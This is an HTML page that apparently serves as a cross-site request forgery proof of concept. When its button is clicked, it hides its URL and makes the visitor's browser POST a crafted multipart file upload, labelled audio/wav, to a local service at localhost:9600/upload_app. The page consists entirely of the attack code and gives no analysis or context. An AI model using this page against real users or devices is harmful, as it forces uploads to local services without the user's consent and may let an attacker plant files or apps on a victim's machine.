<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest() {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost:9600/upload_app", true);
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          "Content-Type: audio/wav\r\n" + 
          "\r\n" + 
          "dsadsdsa\r\n" + 
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    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>
